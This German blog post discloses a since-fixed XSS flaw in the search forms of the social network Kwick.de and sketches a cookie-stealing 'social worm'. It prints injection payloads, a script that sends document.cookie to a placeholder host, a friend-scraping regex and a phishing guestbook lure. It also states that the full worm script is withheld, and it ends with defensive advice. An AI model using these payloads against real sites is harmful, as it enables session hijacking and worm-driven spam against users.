Direkt zum Hauptbereich

Soziale Netze und die Sicherheit! Report Kwick!

Hinweis:
Diesen Post habe ich auf meinem hack1n9 Blog veröffentlicht.

Die Sozialen Netzwerke, neudeutsch: Social Networks, halten nicht allzu viel von Sicherheit. Vor allem müssten die Entwickler viel mehr für das Thema XSS Sensibilisiert werden. D
enn Potentielle Angreifer finden jede Schwachstelle im System. Und wer lange genug sucht der wird immer fündig. Es sollte den Angreifern nur nicht allzu einfach gemacht werden.

Kwick.de hatte bis zum 20.06.08 auch noch oder wieder ein Problem mit XSS. Betroffen waren so gut wie alle Suchformulare auf der Seite. Per zufall bin ich auf diesen Umstand aufmerksam geworden.
Eines sei gesagt. Bei Kwick kann man sich nun getrost Anmelden denn die Sicherheitslücke wurde sofort behoben. Also eine sichere Sache. Andere Social Networks haben ähnliche XSS Probleme, eigentlich erschreckend viele. Die Namen möchte ich nicht nennen denn sonst rennen vielleicht ein Paar Dummys dahin und testen es gleich.........


Nachdem ich dieses Problem dem Betreiber gemeldet hatte wurde es auch Postwendend behoben. Nur aus diesem Grund kann ich diese Sicherheitslücke nun veröffentlichen. Okay zum anfang.

Abbildung 1: Kwick Seite nach der XSS Attacke
Der Exploit Code welcher in das Suchformular eingegeben wurde ist folgender:

"><iframe src=http://google.de>

(Der steht in einer Zeile)
Dies habe ich in einige Suchfelder auf der kwick Seite eingegeben. Und das Ergebniss war ein iframe mit google. Und eine leicht zerstörte kwick! Seite, siehe Abbildung 1. Warum ist das möglich?
Bei Kwick wurden, werden Suchanfragen nach dem Suchvorgang wieder in ein input Feld eingefügt. Das sieht dann im HTML-Code folgend aus:

<input type="text" name="q" id="search_q" value=""><iframe src=http://google.de>"
style="width: 250px;" class="borderLine" title="Suchbegriff eingeben (Name, Stadt, ...)" />

Hier gut zu erkennen. Der Suchstring wird in das value="Suchstring" eingefügt.
Und durch ein weiteres Anführungszeichen kann man das value Feld schließe. Nach
dem das Feld geschlossen ist kann man mit > den input tag schließen und man kann
nun ein neues tag öffnen. Im Testfall nun ein iframe.

Vielleicht sagt nun der ein oder andere na und? Da
s ist doch nicht schlimm, da es
ja nur auf meiner Seite ist. Ja das macht ja nichts! Doch was wenn ein Link so mani-
puliert wurde und Sie arglos auf diesen Link klicken, dann könnte ein Angreifer doch
mehr machen. Um zu zeigen wie mächtig so eine Sicherheitslücke ist soll folgendes
Beispiel zeigen.
Bisher haben wir nur einen iframe eingefügt. Jetzt werden wir einen Java Script
Code zur
Demonstration einfügen. "><script>alert(document.cookie)</script>



In der Abbildung zwei sieht man dass Ergebniss dieser Abfrage. Es gibt nun alle Cookie Daten welche von K wick gesetzt wurden. Dass ist so gefährlich weil sobald jemand die cookie Daten von einem Besitzt so nimmt dieser für den Kwick Server die Idendität von jemand anderem an ! Also das heißt jeder kann nach einem Erfolgreichen Angriff auf meine Daten zugreifen. Nachrichten lesen, Nachrichten senden.

Also das volle Programm. In unserem Beispiel möchten wir das ganza aber noch etwas weiter ausbauen.

Was ist wenn ein Angreifer Spam versenden möchte. Damit diese Spam Nachrichten aber besser getarnt sind braucht man als Absender eine Person die man gut kennt, also jemand der mit einem befreundet ist. Und damit der Verdacht von Spam nicht sofort aufkommt könnte man das ganze noch Personifizieren.

Also ein Gästebucheintrag mit:

Hallo Name_Empfänger,

na wie gehts? Ich hab was im Forum gefunden
dass musst du dir ansehen:
Link ins Forum

Also bis dann Gruß

Absender_Name


So sieht das ganze recht nett aus und mit Sicherheit wird der Empfänger, also von diesem Gästebucheintrag auf diesesn Link klicken, denn er möchte ja wissen was ihm der Absender, ein bekannter, zeigen möchte!

Für diverse Tests habe ich so ein Programm in PHP Entwickelt um herauszufinden ob es wirklich ohne weiteres möglich ist ein solchen "Social Worm" zu entwickeln. Ich muss sagen es ist erstaunlich einfach und schnell gelöst. Es ist auch möglich einen Wurm nur mit XSS Code zu erstellen, also mittels AJAX Funktionen des Betreibers und eigens erstellten. Dies ist aber sehr schwer zu kontrollieren. So ein Wurm verteilt sich rasant und kann auch ohne eine Benutzereingabe sich weiterverbreiten.
Die PHP Variante habe ich gewählt da Sie gut zu Kontrollieren ist, und man sehr flexibel ist in dem was man mit dem Wurm macht.

Nun zum Theoretischen Aufbau dieses Angriffes.

1. XSS Code welcher das PHP Skript einbindet une ein Suchergebniss anzeigt.


2. PHP Programmteil, bekommt das cookie als Parameter, verteilt den XSS Code

3. Anwender welcher auf einen Manipulierten link klickt (weiter mit 1)

Zu den einzelnen Punkten. Wie kann den so ein XSS Code aussehen? Wir bnötigen einen iframe welcher von einem Server das PHP Skript einbindet.
Code:
"<script>keks=document.cookie;document.write( "<iframe src=
'http://irgendeinanonymerHost/guestbookSKW.php?Cookie= "+keks+ " ' style= 'width:100%;
height:200%;position:absolute; '></iframe> ");</script>
Mit diesem XSS Code wird nun ein iframe eingebunden welcher den GET Parameter Cookie an das PHP Skript übergibt. Der iframe wird mittels Javascript und document.write erstellt da ich ja den Prameter Cookie benötige, und dieser kann ich mittels Javascript auslesen, in der Variablen keks Speichern und dann in die url mit anhängen. Und es ist ja auch mal was anderes als es nur so Plumb in das Suchfeld einzufügen.

Zu Punkt 2:
Hier brauchen wir ein PHP Skript. Was muss es denn können? Also das PHP Skript
benötigt folgende Fähigkeiten.
  • Es muss HTTP Verbindungen mit GET und POST Variablen herstellen
  • REG EXPRESSIONS, auslesen der Buddys(Freunde/Kontakte)
Dies ist alles nicht schwer zu bewerkstelligen. Das gesamte Skript möchte ich nicht veröffentlichen. Und es ist zu der Erklärung auch nicht notwendig dies zu tun. Es soll keine Anleitung für Skript Kiddies werden oder solche die es werden wollen. Dies soll aufzeigen wie Angreifer diese Lücken im großen Stil ausnutzen und so Social Networks in die Knie zwingen, oder die Benutzer dieser Netzwerke mit Spam zu Müllen! (mich inklusive :( )

Die Arbeitsweise von SWK (Social-Worm-Kwick), wird durch Manipulierten link aufgerufen, bekommt das Cookie einer aktuellen Session.
Nimmt das Cookie stellt eine Verbindung zu Kwick her, holt Buddy Seite.
Nun hat der Wurm alle Freunde des Opfers. Nun werden mittels Reg Expression die Nicknamen der Buddys ausgelesen.
Code:

preg_match_all("/(return profil\(')(.*)('\))/i",$content, $treffer);

So nun sind alle Nicknamen der Buddys in $treffer[2] als Array gespeichert. Jetzt muss SWK nur zu jedem Gästebuch eines jeden Users eine Verbindung herstellen. Da hier kein Sicherungscode im Quelltext ist kann ich direkt eine Post Verbindung herstellen und den Gästebucheintrag erstellen. Wer details dazu benötigt dem sei gesagt, von mir gibt es Sie nicht! Denn nur ein Böser Mensch würde hier eine Information benötigen.

Jetzt hat sich der Wurm weiterverbreitet. Gut das ganze gibt wenig Sinn! Ich könnte aber auch die Passwörter abfischen oder Werbung schalten oder oder oder!

Es gibt tausend Möglichkeiten und keine einzige ist auch nur ein wenig Sinnvoll. Das wichtigste ist dass die Betreiber aus diesen Fehlern lernen müssen und Ihre Seiten regelmäßig testen lassen!
Denn die Kriminellen Hacker lassen sich auch ständig etwas neues einfallen. Wie man sich vor XSS schützen kann habe ich in einem anderen Artikel aufgezeigt. Weitere Möglichkeiten sind sogenannte WAF ( Web Application Firewall ). Diese stellen nur eine zusätzliche Maßnahme dar. Am wichtigsten ist eine Sichere Programmierung und das muss nicht kompliziert sein!

Und für alle welche ein solches Social Network benutzen sollten sich bei zugesendeten links von Bekannten per Message oder Gästebuch eventuell nochmals rückversichern was oder ob diese überhaupt eine Nachricht mit Link gesendet haben. Im zweifel einfach löschen und "nicht auf den link klicken".
Mit dieser verhaltensregel kann man sich nur vor XSS Attacken schützen welche eine Aktion des Benutzers verlangen aber es gibt sehr viele XSS Würmer welche ohne eine Eingabe auskommen!

Wie erstelle ich eine Sichere WebAnwendung?? Hier ist eine gute Quelle des BSI. Zum kurz nachschauen. Mit weiterführenden Links etc. Sehr informativ:

Bundesamt für Sicherheit der Informationstechnik (BSI): Maßnahmenkatalog und Best Practices für die Sicherheit von Webanwendungen

Kommentare

Beliebte Posts aus diesem Blog

Progressive Web App

In einem vorherigen Post habe ich meinen kleinen Notenrechner vorgestellt. In diesem Post möchte ich basierend darauf eine Progressive Web App vorstellen welche Online wie Offline funktioniert. Und welche man auch dann laden kann wenn der Browser offline ist. Die Seite sowie den Quellcode findet hier hier: Notenrechner : https://kayschneider.github.io/notenRechner/#/calc Quellcode: https://github.com/KaySchneider/notenRechner Was genau eine Progressive Web App ist, wird hier erklärt: https://developers.google.com/web/progressive-web-apps/ In diesem kleinen Notenrechner, widme ich mich nur der Offline Funktionalität der kleinen App. Der Notenrechner soll online und offline gleichermaßen funktionieren. Dazu benötigen wir einen Service Worker, welcher uns den gewünschten content herunterlädt und beim Nutzer auf die Festplatte ablegt, dort kann nun auch im Offline Modus auf die Inhalte zugegriffen werden. Als positiver Nebeneffekt, lädt die Seite auch schneller zuminde

Create a progressive web application - live coding session video

Aprilscherz Google Maps - Spiele Ms. Pac-Man

In diesem Jahr hat das Google Maps team einen Aprilscherz aus dem Jahre 2015 ausgegraben und etwas erweiteret. Im Jahr 2015 konnte man Pac-Man spielen. In diesem Jahr ist es die "Ms. Pac-Man" geworden. Im Video zeige ich es euch in der Google Maps App auf dem Android